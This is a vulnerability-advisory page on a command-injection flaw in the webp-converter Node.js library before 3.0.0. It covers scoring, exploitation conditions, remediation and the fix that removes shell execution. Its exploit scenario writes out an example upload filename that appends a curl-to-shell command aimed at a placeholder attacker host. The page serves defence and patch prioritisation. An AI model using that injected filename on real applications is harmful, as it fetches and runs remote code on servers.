Skip to main content

webp-converter CVE-2026-110635

| EUVDEUVD-2026-101263 CRITICAL
OS Command Injection (CWE-78)
2026-10-14 VulnCheck GHSA-mpvc-jhp3-x7r5
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted filename or option to app
  2. Delivery
    App forwards input to webp-converter function
  3. Exploit
    Shell metacharacters injected into sh -c command
  4. Execution
    OS commands execute as Node.js process
  5. Impact
    Remote code execution in app context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a host application to pass attacker-influenced data - specifically file name arguments or the free-form option string - into webp-converter's cwebp, dwebp, gwebp, or webpmux/buffer helper functions in versions before 3.0.0, whose code path invoked the libwebp binary through exec(..., { shell: true }). The decisive trigger is any unsanitized shell metacharacter (;, |, ` `, $()`) in those inputs. LIMITING FACTORS: the library is not itself a listening service, so exploitation depends on the integrating application actually routing untrusted input (e.g. uploaded filenames or user-supplied conversion options) into these functions; applications that only pass server-controlled, fixed paths/options are not exposed. Fixed in 3.0.0, which switches to argv-array execution without a shell.

Impact

This is a genuine high-severity flaw backed by strong technical evidence, but its headline CVSS 4.0 score of 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N) overstates universal real-world risk because webp-converter is a LIBRARY, not a network-facing service. The command injection is confirmed by the source diff: the pre-3.0.0 code built a shell command string and called exec/execFile with { shell: true }, so sh -c interpreted attacker-supplied file names or option strings, enabling CWE-78 injection. The CVSS network/unauthenticated rating is only accurate when a consuming application forwards untrusted input (e.g. user-controlled upload filenames or conversion options) into cwebp/dwebp/gwebp/webpmux - the library itself imposes no authentication, but reachability is entirely a function of the host application's design. No EPSS score, KEV listing, or POC was supplied in the intelligence, so there is no evidence of active exploitation or mass scanning; the signals point to a credible but not-yet-weaponized issue. A vendor patch exists (PR #53, commit f1b6724), which should drive prioritization: patch is low-cost and the technical impact (full code execution as the Node.js process) is severe where reachable.

Exploit ScenarioDerived

An application uses webp-converter to process user-uploaded images and passes the original upload filename (or a user-chosen option string) directly to cwebp or webpmux. An attacker uploads a file named something like x.png; curl attacker/sh | sh (or embeds metacharacters in an option field); because the pre-3.0.0 code executes via sh -c, the injected shell command runs with the privileges of the Node.js process. No public exploit code was identified at time of analysis, though the patched vulnerable code is publicly visible in the PR diff.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 2.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 14, 2026

OS command injection in webp-converter before 3.0.0 lets unauthenticated remote attackers execute arbitrary operating system commands as the Node.js process when a host application routes attacker-controlled file names or option strings into the library’s cwebp, dwebp, gwebp, or webpmux helper functions. The flaw carries a CVSS 4.0 score of 9.3 (with an independent CVSS 3.1 assessment of 9.8), but because webp-converter is a library rather than a listening service, real-world risk depends on whether the integrating application actually passes untrusted input into the vulnerable code path; applications that use only server-controlled, fixed paths and options are not exposed. No public exploit code has been identified at the time of analysis, and the vendor has released version 3.0.0 to fix the issue.

RemediationAI

Upgrade webp-converter to version 3.0.0 or later; the vendor-released patch is available via pull request 53 and commit f1b6724bc2e89f67ab05d51a854b4b1c5a99928a, which removes shell execution in favor of argv-array invocation. If immediate upgrade is not possible, compensate by ensuring the host application never passes attacker-controlled file names or option strings into the library’s helper functions-for example, sanitize file names to reject or escape shell metacharacters (;, |, `, $()), restrict the option string to a fixed allow-list, and run the Node.js process under a least-privileged account. Note that these workarounds require code changes in the integrating application and may break functionality if legitimate inputs contain such characters; the definitive fix is the 3.0.0 upgrade. Refer to the VulnCheck advisory (https://www.vulncheck.com/advisories/webp-converter-before-3.0.0-os-command-injection-via-file-names-and-options) and the GitHub PR for details.

Affected VersionsENISA

webp-converter 0 <3.0.0

Affected Packages

euvd webp_converter fix: 3.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The webp-converter Node.js library provides helper functions that shell out to libwebp binaries-cwebp, dwebp, gwebp, and webpmux-to convert images. In versions before 3.0.0, src/webpconverter.js built command strings from unsanitized inputs and executed them with exec(..., { shell: true }), causing the arguments to be interpreted by a shell. This is a classic OS command injection (CWE-78): any shell metacharacter (;, |, `, $()) in a file name or in the free-form option string was passed to the shell, allowing arbitrary command execution with the privileges of the Node.js process. The affected CPE is cpe:2.3:a:scionoftech:webp-converter:*:*:*:*:*:*:*:* (all versions prior to 3.0.0). The fix in pull request 53 (commit f1b6724bc2e89f67ab05d51a854b4b1c5a99928a) replaces the shell-based exec calls with an argv-array runner (runWebp) that invokes the binaries without a shell, so metacharacters are treated literally. The independent assessment confirms the assessed vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H but notes that exploitation is conditional on the host application passing attacker-influenced data into these functions.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Library-level injection is unauthenticated and shell metacharacters trigger reliably (AC:L, PR:N), yielding full RCE as the Node process; scope unchanged as code runs within the same process authority.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

webp-converter before 3.0.0 contains an OS command injection vulnerability in src/webpconverter.js helpers that run libwebp binaries via execFile with shell enabled. Attackers controlling file names or option strings passed to cwebp, dwebp, gwebp, or webpmux functions can inject shell metacharacters to execute OS commands as the Node.js process.

Executive ViewAI

Why It Matters

A critical flaw in the webp-converter Node.js library (versions prior to 3.0.0) could let an attacker run system commands on any server where an application forwards untrusted file names or options into this component. The business exposure depends on how the library is integrated: services that accept user-controlled inputs and pass them to webp-converter are at risk, while those using fixed, server-side values are not affected. Leadership should ensure affected engineering teams identify such integrations and upgrade to the vendor’s fixed version, because successful exploitation could allow unauthorized operating system command execution and compromise the affected server.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
2.5%
Top 15% exploitable
Prevalence
Low
niche single-maintainer npm image-conversion wrapper, limited production footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 2.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: +3
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy